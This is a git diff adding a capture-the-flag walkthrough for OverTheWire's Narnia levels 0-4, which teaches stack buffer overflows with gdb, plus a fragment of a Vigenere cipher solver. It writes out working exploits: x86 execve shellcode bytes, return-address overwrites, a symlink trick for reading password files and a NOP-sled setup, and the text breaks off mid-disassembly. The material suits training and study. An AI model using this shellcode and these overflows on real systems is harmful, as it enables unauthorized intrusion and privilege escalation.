dec_msg + +if __name__ == '__main__': + # deciphering + key = 'FREKEY' + with open('pass', 'r') as f: + msg = f.readlines() + answer = solve(msg[0].strip(), key) + print "The answer is: " + answer +``` + +[Vigenere cipher]: http://en.wikipedia.org/wiki/Vigen%C3%A8re_cipher +[pygenere]: http://smurfoncrack.com/pygenere/pygenere.py + + + + +---- + +## Level 5: Vigenere Cipher II + +The sixth level starts with: + + + > Frequency analysis can break a known key length as well. Let's try one last polyalphabetic cipher, but this time the key length is unknown. + +This is another example of Vigenere Cipher. Using the same method as before, we first get the key and then the password. + + diff --git a/CTFs_and_WarGames/WARGAMES/krypton/freq_count_vig.py b/CTFs_and_WarGames/WARGAMES/krypton/freq_count_vig.py index cf3307f..9812d58 100644 --- a/CTFs_and_WarGames/WARGAMES/krypton/freq_count_vig.py +++ b/CTFs_and_WarGames/WARGAMES/krypton/freq_count_vig.py @@ -1,6 +1,6 @@ #!/bin/python -__author__= 'bt3gl' +__author__= 'Mia Stein' import string import sys diff --git a/CTFs_and_WarGames/WARGAMES/narnia/README.md b/CTFs_and_WarGames/WARGAMES/narnia/README.md new file mode 100644 index 0000000..4f58d36 --- /dev/null +++ b/CTFs_and_WarGames/WARGAMES/narnia/README.md @@ -0,0 +1,1057 @@ +# Smashing the Stack for Fun or WarGames - Narnia 0-4 + + +One of my mentors, <a href="https://twitter.com/OwariDa"> **Joel Eriksson**</a>, suggested the quintessential **[WarGames]**, a collection of **Security problems**, divided into 14 interesting titles. I have been playing the games since last week, and they are awesome! To play the WarGames you SSH to their servers with a login that indicates your current level. The purpose of the game is to solve the current level's challenge to find the password for the next level. + +Today I am talking about the first five levels of **[Narnia]**, which is all about **[buffer overflow]** and **[inputs with no bounds checking]**. + + +You will see that this war is not so bad when you know your weapons. + + +**Disclaimer**: if you haven't played WarGames, but you are planning to, PLEASE DON'T READY ANY FURTHER. If you don't try to solve the problems by yourself first, you will be wasting your time. + +[inputs with no bounds checking]: http://en.wikipedia.org/wiki/Bounds_checking +[buffer overflow]: http://en.wikipedia.org/wiki/Buffer_overflow +[process's virtual memory]: http://en.wikipedia.org/wiki/Virtual_memory + +-------- + +## How Stack Exploitation Works: A Crash Course + +### A Process' Virtual Memory + +When a program starts a process, the OS kernel provides it a piece of [physical memory]. However, all that the process sees is the [virtual memory space] and its size and starting address. Each time a process wants to read or write to physical memory, its request must be translated from a virtual memory address to a physical memory address. + + +[physical memory]: http://en.wikipedia.org/wiki/Computer_memory +[virtual memory space]: http://en.wikipedia.org/wiki/Virtual_memory + + +I like [Peter Jay Salzman]'s picture showing the process' virtual memory in terms of its address. + + + + +The *text* and *data* segments are the places where the program puts the code and the static data (*e.g*., global variables). This region is normally marked read-only, and any attempt to write to it will result in a [segmentation violation]. + +Notice that arguments and environment variables get a special place in the top of the Stack (higher address). + +Although the [Heap] can also be fun to play with, for the purpose of these games, we will concentrate on the **Stack**. Remember, the [direction of which the Stack grows] is system-dependent. + + + +[direction of which the Stack grows]: https://stackoverflow.com/questions/664744/what-is-the-direction-of-stack-growth-in-most-modern-systems +[segmentation violation]: http://en.wikipedia.org/wiki/Segmentation_fault +[Heap]: http://en.wikipedia.org/wiki/Heap_(data_structure) + + +### What's the Stack + + +A Stack is an *abstract data type* that has the property that the last object placed will be the first object removed. This is also known as *last-in/first-out queue* or *LIFO*. Two of the most essential operations in a Stack are *push* and *pop*. + +You can think of a stack of books: the only way to reach the book in the bottom (the first book that was pushed) is by popping every book on the top. To learn how to write a Stack in Python, take a look at my notes on [Python & Algorithms]. I also made the source code available: [here are some examples]. + +The memory Stack frame is a collection of (stack) frames. Every time a process calls a function, it alters the flow of control. In this case, a new frame needs to be added, and the Stack grows downward (lower memory address). + +If you think about it, a Stack is a perfect object for a process: the process can push a function (its arguments, code, etc.) into the Stack, then, in the end, it pops everything, back to where it started. + + + + +[Python & Algorithms]: https://github.com/go-outside-labs/Python-and-Algorithms-and-Data-Structures/blob/master/book/book_second_edition.pdf +[here are some examples]: https://github.com/go-outside-labs/Python-and-Algorithms-and-Data-Structures/tree/master/src/abstract_structures/Stacks + + + + +### Buffer Overflows in the Stack + +Buffer overflows happen when we give a buffer more information than it is meant to hold. For example, the **standard C library** has several functions for copying or appending strings with no bounds checking: ```strcat()```, ```strcpy()```, ```sprintf()```, ```vsprintf()```, ```gets()```, and ```scanf()```. These functions can easily overflow a buffer if the input is not validated first. + +To better understand this subject, I recommend the classic [Smashing the Stack for Fun or Profit] from [Aleph One], which was published in 1996 in the [Phrack magazine] number 49. + +[WarGames]: http://overthewire.org/wargames +[Narnia]: http://overthewire.org/wargames/narnia +[Aleph One]: http://en.wikipedia.org/wiki/Elias_Levy +[Phrack magazine]: http://www.phrack.org/ +[Smashing the Stack for Fun or Profit]: http://insecure.org/stf/smashStack.html +[Peter Jay Salzman]: http://www.dirac.org/linux/gdb/ + + + + +### Assembly and the Stack Registers + +Registers are small memory storage areas built into the CPU. When the process enters the Stack, a register called the **Stack pointer** (esp) points to the top of the Stack (lowest memory address). The bottom of the Stack (higher memory address) is at a fixed address (adjusted by the kernel at run time). The CPU will implement instructions to push onto and pop stuff of the Stack. + +In Assembly code this looks like: + +``` +pushl %ebp +movl %esp,%ebp +subl $20,%esp +``` + +The two first lines are the prologue. In the first line of this code, the (old) **frame pointer** (ebp) is pushed onto the top of the Stack (lowest memory). Then, the current **esp** is copied into the **stack frame base pointer** (ebp), making it the new frame pointer. In the last line, space is allocated for the local variables, subtracting their size from esp (remember that memory can only be addressed in multiples of the word size, for example, 4 bytes, or 32 bits). + + + +After this point, the Assembly code will show each operation step in the program. We will learn more about this during the challenges. It's a good skill to understand the basics of Assembly, but this is outside the context of this review. Check out this [nice Assembly guide] if you need to. Also, [this cheat sheet] is awesome. + +[this cheat sheet]: http://darkdust.net/files/GDB%20Cheat%20Sheet.pdf + +[nice Assembly guide]: http://www.drpaulcarter.com/pcasm/ + +Ah, by the way, you can look to the Assembly output in a C program by using the flag ```-S```: + +```sh +$ gcc -S -o example1.s example1.c +``` + + + +---- + +## Narnia's WarGame + +### The Scenario + +In each of Narnia's levels, we are able to [run a binary and read its C code]. The objective is to figure out from the code what vulnerability can be used to allow us to read the password of the next level (located in a folder under ```/etc``` in the server). + + +[run a binary and read its C code]: http://www.thegeekstuff.com/2011/10/c-program-to-an-executable/ + + + + +### Your Weapons + + + + + +#### Memory and Exploits Representation + + +When it comes to memory addresses, it's fundamental to understand [hexadecimal representation]. You can print a HEX into [ASCII] with Python: +```python +$ python -c 'print "\x41"' +A +``` + +Remember that Narnia's servers are [x86], so they have [little-endian] representation. This means that an address ```0xffffd546 ``` is actually written as ```\x46\xd5\xff\xff ```. + +Most of the exploit we deliver in Narnia is in the form of input strings. Python with the flag, ```-c```, is really handy to craft what we need: +```sh +$ python -c 'print "A"*20' +AAAAAAAAAAAAAAAAAAAA +``` + +[little-endian]: http://en.wikipedia.org/wiki/Endianness +[x86]: http://en.wikipedia.org/wiki/X86 +[ASCII]: http://en.wikipedia.org/wiki/ASCII +[hexadecimal representation]: http://en.wikipedia.org/wiki/Hexadecimal + + +#### Environment Variables + +If you look to the picture above, you see that the system environment variables are available within the Stack. This can be useful to some exploits, where we can use these variables to import payloads. + +To define an environment variable, we use ```export```. To print its value, you can use ```echo``` or ```env```: +```sh +$ EGG="0X41414141" +$ echo $EGG +0X41414141 +$ export EGG +$ env | grep EGG +EGG=0X41414141 +``` + +To understand more about environments variables in exploits, take a look into my [Shellshock guide]. + +[Shellshock guide]: http://https://singularity-sh.vercel.app/understanding-the-shellshock-vulnerability.html + + +#### Shell Commands + +The shell commands that are useful for these problems are: + + +* ```readelf```: Displays information about ELF files (the binaries). For example, a detail that will be important soon is the fact that, in Narnia, the *Stack is executable*. This means that we can place shellcode within it. To check whether the Stack is executable see if the following output has the flag **E**: +```sh +narnia1@melinda:/narnia$ readelf -a narnia1 | grep GNU_STACK + GNU_STACK 0x000000 0x00000000 0x00000000 0x00000 0x00000 RWE 0x4 +``` + + +* ```xxd```: Creates a hex dump of a given file or standard input. It can also convert a hex dump back to its original binary form. + +* ```whoami```: Shows the current user, good to see whether the exploit worked! + + + +### gdb and objdump + +In most of the problems in Narnia, it's fundamental do understand how to debug the binary with **gdb**. + + +[very introductory guide]: http://www.thegeekstuff.com/2010/03/debug-c-program-using-gdb/ +[comprehensive guide]: http://www.dirac.org/linux/gdb/ + + +To learn more about gdb, you might want to check this [very introductory guide] or this [comprehensive guide]. However, in any problem in Narnia these steps are enough: + +* To start a gdb instance: ```gdb -q <EXECUTABLE>```. +* To get the Assembly code we use the ```disassemble``` command. Constants are prefixed with a $ and registers with a %: +``` +(gdb) set disassembly-flavor intel +(gdb) disas main +``` + + + +* To set breakpoints to the address to inspect, based on the values from the output above: +``` +(gdb) b *main+<SOME NUMBER> +``` + +* To run the program: ```(gdb) r```. We also can use ```c``` to continue to run it after the breakpoint. We can use ```n``` for the next program line. We can print things using ```p```. + +* To examine some memory address, we can use ```(gdb) x/nfu A```, where **A** is the address (*e.g.*, ```$esp``), n is the number of units to print, f is the format character, and u is the unit. + +* To examine the Stack frame: ```(gdb) i f```. We can also look at the Stack by using ```bt``` (backtrace). + + + +* When you start using gdb frequently, it's useful to have a file with starting commands. For example: + +```sh +$ gdb <program name> -x <command file> +``` + +Where: +```sh +$ cat command.txt +set disassembly-flavor intel +disas main +``` + +Or you can have a nice **.gdbinit** setup with lines such as: +``` +set disassembly-flavor intel +set follow-fork-mode child +``` + + + +As a note, there are other **disassembles** that you might want to try instead of gdb: + +* The shell command **objdump -d**, which display the Assembly information from object files. +* <a href="https://www.hex-rays.com/products/ida/index.shtml"> IDA Pro</a>. +* <a href="http://www.zynamics.com/binnavi.html">BinNavi</a>. +* <a href="http://www.hopperapp.com/">Hopper Disassembler</a>. +* <a href="http://linux.die.net/man/1/readelf">readelf</a>. + + + + +-------------- + +## Level 0: Classic Stack Overflow to rewrite a Variable + + +### Step 1: Understanding the Problem + +The first level starts with: + +```sh +narnia0@melinda:/narnia$ cat narnia0.c + +#include <stdio.h> +#include <stdlib.h> + +int main(){ + long val=0x41414141; + char buf[20]; + + printf("Correct val's value from 0x41414141 -> 0xdeadbeef!\n"); + printf("Here is your chance: "); + scanf("%24s",&buf); + + printf("buf: %s\n",buf); + printf("val: 0x%08x\n",val); + + if(val==0xdeadbeef) + system("/bin/sh"); + else { + printf("WAY OFF!!!!\n"); + exit(1); + } + + return 0; +} +``` + +The program receives an input from the user and saves it in a buffer variable of size 20. Then, it checks if the *val* is equal to a different value of what it was declared: +```c +if(val==0xdeadbeef) + system("/bin/sh"); +``` +Since *val* obviously didn't change anywhere in the program, nothing happens, and the program exits normally. + +However, if somehow we could change the value of *val* to [0xdeadbeef], the program will give us a privileged shell! + + +[0xdeadbeef]: http://en.wikipedia.org/wiki/Hexspeak + +Let's think about the memory Stack. Just like in a pile of books, the local variables are pushed in the order that they are created. In the case above, *val* is pushed before *buf*, so *val* is in a higher memory address: +```c + long val=0x41414141; + char buf[20]; +``` + +What happens if the input is larger than 20 bytes? In this case, there are no bounds checking, and the input overflows the variable *buf*, occupying the following space in the Stack: *val*. This is a classic case of **Stack Overflow**! + + + +### Step 2: Visualizing the Overflow + + +The plan is to overflow *buf* with 20+4 bytes so that the last four bytes overwrites *val* with ```0xdeadbeef```. + +Let's see how *val* is filled when we overflow byte by byte: + + +```sh +narnia0@melinda:/narnia$ python -c 'print "B"*24' +BBBBBBBBBBBBBBBBBBBBBBBB + +narnia0@melinda:/narnia$ (python -c 'print "B"*19') | ./narnia0 +Correct val's value from 0x41414141 -> 0xdeadbeef! +Here is your chance: buf: BBBBBBBBBBBBBBBBBBB +val: 0x41414141 +WAY OFF!!!! + + +narnia0@melinda:/narnia$ (python -c 'print "B"*20') | ./narnia0 +Correct val's value from 0x41414141 -> 0xdeadbeef! +Here is your chance: buf: BBBBBBBBBBBBBBBBBBBB +val: 0x41414100 +WAY OFF!!!! + +narnia0@melinda:/narnia$ (python -c 'print "B"*21') | ./narnia0 +Correct val's value from 0x41414141 -> 0xdeadbeef! +Here is your chance: buf: BBBBBBBBBBBBBBBBBBBBB +val: 0x41410042 +WAY OFF!!!! + +narnia0@melinda:/narnia$ (python -c 'print "B"*22') | ./narnia0 +Correct val's value from 0x41414141 -> 0xdeadbeef! +Here is your chance: buf: BBBBBBBBBBBBBBBBBBBBBB +val: 0x41004242 +WAY OFF!!!! + +narnia0@melinda:/narnia$ (python -c 'print "B"*23') | ./narnia0 +Correct val's value from 0x41414141 -> 0xdeadbeef! +Here is your chance: buf: BBBBBBBBBBBBBBBBBBBBBBB +val: 0x00424242 +WAY OFF!!!! + +narnia0@melinda:/narnia$ (python -c 'print "B"*24') | ./narnia0 +Correct val's value from 0x41414141 -> 0xdeadbeef! +Here is your chance: buf: BBBBBBBBBBBBBBBBBBBBBBBB +val: 0x42424242 +WAY OFF!!!! +``` + +### Step 3: Crafting the Exploit + +Now we know that `val` starts to overflow in the 20th byte. All we need to do is to add ```deadbeef``` in the last four bytes. + +However, we need to write this in hexadecimal form: + +```sh +narnia0@melinda:/narnia$ python -c'print "A"*20 + "\xef\xbe\xad\xde"' +AAAAAAAAAAAAAAAAAAAAᆳ +narnia0@melinda:/narnia$ (python -c'print "A"*20 + "\xef\xbe\xad\xde"') | ./narnia0 Correct val's value from 0x41414141 -> 0xdeadbeef! +Here is your chance: buf: AAAAAAAAAAAAAAAAAAAAᆳ +val: 0xdeadbeef +``` + +Yay, the exploit worked! + + +### Step 4: Getting Access to the Shell + + +We were able to get access to our shell, but it closed too fast when the program execution ended. + +We need to create a way to read the password before we lose the control to the shell. A good way is pipelining some command that waits for input, such as ```tail``` or ```cat```. + +It turns out that only ```cat``` actually prints the output: + +```sh +narnia0@melinda:/narnia$ (python -c'print "A"*20 + "\xef\xbe\xad\xde"'; cat) | /narnia/narnia0 +Correct val's value from 0x41414141 -> 0xdeadbeef! +Here is your chance: buf: AAAAAAAAAAAAAAAAAAAAᆳ +val: 0xdeadbeef +cat /etc/narnia_pass/narnia1 +``` +Done! We have completed the 0th level! + + +### Step 5: Debugging it! +Although this problem was easy enough so we didn't need to debug anything, it's a good call to understand the process while the challenge is easy: + +```sh +narnia0@melinda:/narnia$ gdb ./narnia0 +(gdb) set disassembly-flavor intel +(gdb) disas main +Dump of assembler code for function main: + 0x080484c4 <+0>: push ebp + 0x080484c5 <+1>: mov ebp,esp + 0x080484c7 <+3>: and esp,0xfffffff0 + 0x080484ca <+6>: sub esp,0x30 + 0x080484cd <+9>: mov DWORD PTR [esp+0x2c],0x41414141 + 0x080484d5 <+17>: mov DWORD PTR [esp],0x8048640 + 0x080484dc <+24>: call 0x80483b0 <puts@plt> + 0x080484e1 <+29>: mov eax,0x8048673 + 0x080484e6 <+34>: mov DWORD PTR [esp],eax + 0x080484e9 <+37>: call 0x80483a0 <printf@plt> + 0x080484ee <+42>: mov eax,0x8048689 + 0x080484f3 <+47>: lea edx,[esp+0x18] + 0x080484f7 <+51>: mov DWORD PTR [esp+0x4],edx + 0x080484fb <+55>: mov DWORD PTR [esp],eax + 0x080484fe <+58>: call 0x8048400 <__isoc99_scanf@plt> + 0x08048503 <+63>: mov eax,0x804868e + 0x08048508 <+68>: lea edx,[esp+0x18] + 0x0804850c <+72>: mov DWORD PTR [esp+0x4],edx +(...) +End of assembler dump. +``` +Let's put a break point right after ```scanf```: + +```sh +(gdb) b *main+63 +Breakpoint 1 at 0x8048503 +``` + +We run the debugged program with 20 Bs (\x42) as the input. It stops in the address above, right after ```scanf```: +```sh +(gdb) r +Starting program: /games/narnia/narnia0 +Correct val's value from 0x41414141 -> 0xdeadbeef! +Here is your chance: + +Breakpoint 1, 0x08048503 in main () +``` + +Now we examine the memory in, say, 12 counts: + +```sh +(gdb) x/12xw $esp +0xffffd6a0: 0x08048689 0xffffd6b8 0x08049ff4 0x08048591 +0xffffd6b0: 0xffffffff 0xf7e59d46 0x42424242 0x42424242 +0xffffd6c0: 0x42424242 0x42424242 0x42424242 0x41414100 +``` + +The variable *buf* is in the 7-11th entries (0x42424242). Right after that is *val* (which we know is still 0x41414141). Wait, do you see the two zeros in ```0x41414100```? This is the space at the end of *buf* + +Finally, we test with 20 Bs + 4 Cs and confirm that our exploit works: + +```sh +(gdb) x/12xw $esp +0xffffd6a0: 0x08048689 0xffffd6b8 0x08049ff4 0x08048591 +0xffffd6b0: 0xffffffff 0xf7e59d46 0x42424242 0x42424242 +0xffffd6c0: 0x42424242 0x42424242 0x42424242 0x43434343 +``` + + +--- + +## Level 1: Stack Overflow with Environment Variables + +### Step 1: Understanding the Problem + +The second level starts with: +```c +narnia1@melinda:/narnia$ ./narnia1 +Give me something to execute at the env-variable EGG + +narnia1@melinda:/narnia$ cat narnia1.c +#include <stdio.h> + +int main(){ + int (*ret)(); + + if(getenv("EGG")==NULL){ + printf("Give me something to execute at the env-variable EGG\n"); + exit(1); + } + + printf("Trying to execute EGG!\n"); + ret = getenv("EGG"); + ret(); + + return 0; +} +``` + +The program searches for an environment variable **EGG** and then it exits if this variable doesn't exist. If it does, **EGG**'s value is passed as a function. Really secure. + + + +### Step 1: Creating an Environment Variable with our Exploit + +The most obvious option for an exploit is to spawn a privileged shell, so that we can read the next level's password. + +Let's suppose we don't know that we need to write the exploit in memory language. We could try this: +```sh +narnia1@melinda:/narnia$ export EGG="/bin/ls" +narnia1@melinda:/narnia$ echo $EGG +/bin/ls +narnia1@melinda:/narnia$ ./narnia1 +Trying to execute EGG! +Segmentation fault +``` + +Nope. + +We actually need to create a hexadecimal command to export to **EGG**. We do this in Assembly and all the information we need is in the [Appendix A] from [Aleph One]'s paper. This allows us to write the following: + +[Appendix A]: http://insecure.org/stf/smashStack.html + + + +```sh +narnia1@melinda:/tmp$ vi shellspawn.asm +xor eax, eax ; make eax equal to 0 +push eax ; pushes null +push 0x68732f2f ; pushes /sh (//) +push 0x6e69622f ; pushes /bin +mov ebx, esp ; passes the first argument +push eax ; empty third argument +mov edx, esp ; passes the third argument +push eax ; empty second argument +mov ecx, esp ; passes the second argument +mov al, 11 ; execve system call #11 +int 0x80 ; makes an interrupt +``` + +Compiling: + +```sh +narnia1@melinda:/tmp$ nasm shellspawn.asm +narnia1@melinda:/tmp$ ls +shellspawn shellspawn.asm +narnia1@melinda:/tmp$ cat shellspawn +1�Ph//shh/bin��P��P��� +``` + +Exporting it to *EGG*: + +```sh +narnia1@melinda:/tmp$ export EGG=$(cat shellspawn) +``` +We are ready to exploit the binary: + +```sh +narnia1@melinda:/tmp$ /narnia/narnia1 +Trying to execute EGG! +$ whoami +narnia2 +``` + + + +### Step 4: Convert it to Hexadecimal + +It's really useful to have a hexadecimal form of our exploit (as we will see in the next levels) so we will use ```xxd``` to read it: + +```sh +narnia5@melinda:/tmp$ xxd shellspawn +0000000: 31c0 5068 2f2f 7368 682f 6269 6e89 e350 1.Ph//shh/bin..P +0000010: 89e2 5089 e1b0 0bcd 80 ..P...... +``` + +Awesome! We can go ahead and test it: +```sh +narnia1@melinda:/tmp$ export EGG=`python -c'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x50\x89\xe1\xb0\x0b\xcd\x80"'` +narnia1@melinda:/tmp$ /narnia/narnia1 +Trying to execute EGG! +$ whoami +narnia2 +``` + + +---------- + + +## Level 2: Stack Overflow to the Return Address + +### Step 1: Understanding the Problem: + +The third level starts with: + +``` +narnia2@melinda:/narnia$ ./narnia2 +Usage: ./narnia2 argument +narnia2@melinda:/narnia$ cat narnia2.c +#include <stdio.h> +#include <string.h> +#include <stdlib.h> + +int main(int argc, char * argv[]){ + char buf[128]; + + if(argc == 1){ + printf("Usage: %s argument\n", argv[0]); + exit(1); + } + strcpy(buf,argv[1]); + printf("%s", buf); + + return 0; +} +``` + +This function copies an input string to a *buf*, using ```strcpy()``` (instead of safer ```strncpy()```). Since there is no bounds checking, *buf* overflows to the higher address in the Stack if the input is larger than 128 bytes. + +In this problem, we will use overflow to take control of the return address of the main function, which is right after *buf*. We will overwrite this to any address we want, for example to the address of a beautifully crafted exploit. + + +### Step 2: Finding the Frame Size + +To find where the returning address of this function is located, we use *gdb*: + +```sh +narnia2@melinda:/narnia$ gdb ./narnia2 +(gdb) set disassembly-flavor intel +(gdb) disas main +Dump of assembler code for function main: + 0x08048424 <+0>: push ebp + 0x08048425 <+1>: mov ebp,esp + 0x08048427 <+3>: and esp,0xfffffff0 + 0x0804842a <+6>: sub esp,0x90 + 0x08048430 <+12>: cmp DWORD PTR [ebp+0x8],0x1 + 0x08048434 <+16>: jne 0x8048458 <main+52> + 0x08048436 <+18>: mov eax,DWORD PTR [ebp+0xc] + 0x08048439 <+21>: mov edx,DWORD PTR [eax] + 0x0804843b <+23>: mov eax,0x8048560 + 0x08048440 <+28>: mov DWORD PTR [esp+0x4],edx + 0x08048444 <+32>: mov DWORD PTR [esp],eax + 0x08048447 <+35>: call 0x8048320 <printf@plt> + 0x0804844c <+40>: mov DWORD PTR [esp],0x1 + 0x08048453 <+47>: call 0x8048350 <exit@plt> + 0x08048458 <+52>: mov eax,DWORD PTR [ebp+0xc] + 0x0804845b <+55>: add eax,0x4 + 0x0804845e <+58>: mov eax,DWORD PTR [eax] + 0x08048460 <+60>: mov DWORD PTR [esp+0x4],eax + 0x08048464 <+64>: lea eax,[esp+0x10] + 0x08048468 <+68>: mov DWORD PTR [esp],eax + 0x0804846b <+71>: call 0x8048330 <strcpy@plt> + 0x08048470 <+76>: mov eax,0x8048574 + 0x08048475 <+81>: lea edx,[esp+0x10] + 0x08048479 <+85>: mov DWORD PTR [esp+0x4],edx + 0x0804847d <+89>: mov DWORD PTR [esp],eax + 0x08048480 <+92>: call 0x8048320 <printf@plt> + 0x08048485 <+97>: mov eax,0x0 + 0x0804848a <+102>: leave + 0x0804848b <+103>: ret +End of assembler dump. +``` + +We create a breakpoint right before the exit: + +``` +(gdb) b *main+97 +Breakpoint 1 at 0x8048485 +``` + +We run our program, feeding it with an argument of size 30 and we look to the memory (esp is the Stack pointer). The second value, **0xffffd610**, indicates the start of the frame: +``` +(gdb) r `python -c 'print "B"*30'` +(gdb) x/30xw $esp +0xffffd600: 0x08048574 0xffffd610 0x00000001 0xf7ebf729 +0xffffd610: 0x42424242 0x42424242 0x42424242 0x42424242 +0xffffd620: 0x42424242 0x42424242 0x42424242 0xf7004242 +0xffffd630: 0x08048258 0x00000000 0x00ca0000 0x00000001 +0xffffd640: 0xffffd86d 0x0000002f 0xffffd69c 0xf7fcaff4 +0xffffd650: 0x08048490 0x08049750 0x00000002 0x080482fd +0xffffd660: 0xf7fcb3e4 0x00008000 0x08049750 0x080484b1 +0xffffd670: 0xffffffff 0xf7e59d46 +``` + +Now, looking to the information about the frame, we get the return address at **0xffffd69c**: + +``` +(gdb) i f +Stack level 0, frame at 0xffffd6a0: + eip = 0x8048485 in main; saved eip 0xf7e404b3 + Arglist at 0xffffd698, args: + Locals at 0xffffd698, Previous frame's sp is 0xffffd6a0 + Saved registers: + ebp at 0xffffd698, eip at 0xffffd69c +``` + +To find the size of the frame we subtract these values: + +``` +(gdb) p 0xffffd69c-0xffffd610 +$1 = 140 +``` + +So we know that 140 bytes are needed to reach the return address, where we will add our pointer. + + + +### Step 3: Finding the EGG ShellCode Address + +Where do we want to point the return address to? Well, we already know a way to spawn a shell: using an environment variable: + +```sh +narnia2@melinda:/tmp$ export EGG=`python -c'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x50\x89\xe1\xb0\x0b\xcd\x80"' +``` + +To find the address of **EGG** we use the following **C** code: +```c +narnia2@melinda:/tmp$ cat getbashadd.c +#include <stdio.h> +#include <stdlib.h> +#include <string.h> + +int main(int argc,char *argv[]){ + char *ptr; + ptr = getenv(argv[1]); + ptr += (strlen(argv[0])-strlen(argv[2]))*2; + printf("%s is at %p\n", argv[1],ptr); + return 0; +} +``` + +Running it gives: + +``` +narnia2@melinda:/tmp$ ./getshadd EGG /narnia/narnia2 +EGG will be at 0xffffd945 +``` + +### Step 4: Running the Exploit! + +Now all we need to do is to run the binary with 140 bytes of junk plus the address that we want to point the return address to: + +```sh +narnia2@melinda:/tmp/ya2$ /narnia/narnia2 `python -c 'print "A"*140 + "\x45\xd9\xff\xff"'` +$ whoami +narnia3 +``` + + +------ + +## Level 3: Stack Overflow, Files, and Symbolic Links + +### Step 1: Understanding the Problem + +The fourth level starts with: + +```sh +narnia3@melinda:/narnia$ ./narnia3 +usage, ./narnia3 file, will send contents of file 2 /dev/null +narnia3@melinda:/narnia$ cat narnia3.c +#include <stdio.h> +#include <sys/types.h> +#include <sys/stat.h> +#include <fcntl.h> +#include <unistd.h> +#include <stdlib.h> +#include <string.h> + +int main(int argc, char **argv){ + + int ifd, ofd; + char ofile[16] = "/dev/null"; + char ifile[32]; + char buf[32]; + + if(argc != 2){ + printf("usage, %s file, will send contents of file 2 /dev/null\n",argv[0]); + exit(-1); + } + + /* open files */ + strcpy(ifile, argv[1]); + if((ofd = open(ofile,O_RDWR)) < 0 ){ + printf("error opening %s\n", ofile); + exit(-1); + } + if((ifd = open(ifile, O_RDONLY)) < 0 ){ + printf("error opening %s\n", ifile); + exit(-1); + } + + /* copy from file1 to file2 */ + read(ifd, buf, sizeof(buf)-1); + write(ofd,buf, sizeof(buf)-1); + printf("copied contents of %s to a safer place... (%s)\n",ifile,ofile); + + /* close 'em */ + close(ifd); + close(ofd); + + exit(1); +} +``` + +This program receives a file name as input, and then copies the content of this file to a second file pointing to ```/dev/null```. + +What is particularly interesting to us is the order that the variables are declared: + +```c +char ofile[16] = "/dev/null"; +char ifile[32]; +``` + + +[/dev/null]: http://en.wikipedia.org/wiki/Null_device + + +### Step 2: Understanding what is going on in the Memory + +Let's debug this binary to see how we can exploit it. First with a simple 3-bytes input: + +``` +(gdb) set args "`python -c 'print "a"*3'`" +(gdb) r +Starting program: /games/narnia/narnia3 "`python -c 'print "a"*3'`" +error opening aaa +``` + +OK, it makes sense, there is no such file. Now let's try the size of *ifile*: + +``` +(gdb) set args "`python -c 'print "a"*32'`" +(gdb) r +Starting program: /games/narnia/narnia3 "`python -c 'print "a"*32'`" +error opening +``` + +Mmm, interesting. It does not input any name. Let's try one byte less: + +``` +(gdb) set args "`python -c 'print "a"*31'`" +(gdb) r +Starting program: /games/narnia/narnia3 "`python -c 'print "a"*31'`" +error opening aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa +``` + +The previous example showed the first byte after overflowing *ifile*. This last example ends in the last possible byte in the array. Once we overflow *ifile*, it skips the checking, going straight to check whether *ofile* is a valid name. Awesome! + + + +### Step 3: Writing and Applying the Exploit + +We want two things happening in *ifile*: first, to read the password file, then to overflows *ofile*, making it point to a file we have access to read. + +The best way to put all of this in one input name is by creating a symbolic link with the following rules: + +1. Point to */etc/narnia_pass/narnia4*. +2. Fill the 32 bytes of the *ifile* array with junk. +3. End with some file name which we had created before, and we have permission to read (we can just use ```touch``` to create an empty file). + +The result, for a file name *out*, is: +```sh +$ ln -s /etc/narnia_pass/narnia4 $(python -c "print 'A'*32 + 'out'") +``` + +Now we can just run it and retrieve our password: +```sh +narnia3@melinda:/tmp$ /narnia/narnia3 `python -c "print 'A'*32 + 'out'"`copied contents of AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAout to a safer place... (out) +narnia3@melinda:/tmp$ cat out +``` + + + + + +_______ + + +## Level 4: Classic Buffer Overflow with NOP + +### Step 1: Understanding the Problem + +This fifth level starts with: + +```sh +narnia4@melinda:/narnia$ ./narnia4 +narnia4@melinda:/narnia$ cat narnia4.c + +#include <string.h> +#include <stdlib.h> +#include <stdio.h> +#include <ctype.h> + +extern char **environ; + +int main(int argc,char **argv){ + int i; + char buffer[256]; + + for(i = 0; environ[i] != NULL; i++) + memset(environ[i], '\0', strlen(environ[i])); + + if(argc>1) + strcpy(buffer,argv[1]); + + return 0; +} +``` + +This binary does three things: first, it creates a buffer array of size 256, then it makes all of the system environment variables equal to zero, and then it copies whatever user input it had to the buffer. + +The reason why this code clears the environment variables is to avoid the possibility of us placing a shellcode exploit to them (like we did in Level 2). + + + +### Step 2: Outlining the Attack + + +To exploit this binary we are going to overwrite our **return address** like in level 2, but this time we can't use an external address to point to. However, since our Stack is executable, we can place the shellcode in the Stack. The steps we follow are: + +1. Find out the size of the Stack. Just having the return address won't help since we can't point it to anywhere outside the code. +2. Create a shellcode with the return address minus some value we define so that the return address points to somewhere inside the Stack. +3. Fill the beginning of the Stack with lots of [NOPs] (No Operations, used to pad/align bytes or to delay time), which in the x86 CPU family is represented with ```0x90```. If the pointer hits these places, it just keeps advancing until it finds our shell. +4. To make everything fit right in the Stack frame, we pad the end of the shellcode with junk. +. + +[ASLR]: http://en.wikipedia.org/wiki/Address_space_layout_randomization +[NOPs]: http://en.wikipedia.org/wiki/NOP + + + + +### Step 3: Getting the Frame Size + + +With gdb we can extract the relevant memory locations. Let's run our program with an input of the size of the buffer. Here we use the flag ```--args``` because otherwise we will get an error that the name is too long: + +```sh +narnia4@melinda:/narnia$ gdb --args narnia4 `python -c "print 'A'*256"` +Reading symbols from /games/narnia/narnia4...(no debugging symbols found)...done. +(gdb) set disassembly-flavor intel +(gdb) disas main +Dump of assembler code for function main: + 0x08048444 <+0>: push ebp + 0x08048445 <+1>: mov ebp,esp + 0x08048447 <+3>: push edi + 0x08048448 <+4>: and esp,0xfffffff0 + 0x0804844b <+7>: sub esp,0x130 +(..) + 0x080484f0 <+172>: call 0x8048350 <strcpy@plt> + 0x080484f5 <+177>: mov eax,0x0 + 0x080484fa <+182>: mov edi,DWORD PTR [ebp-0x4] + 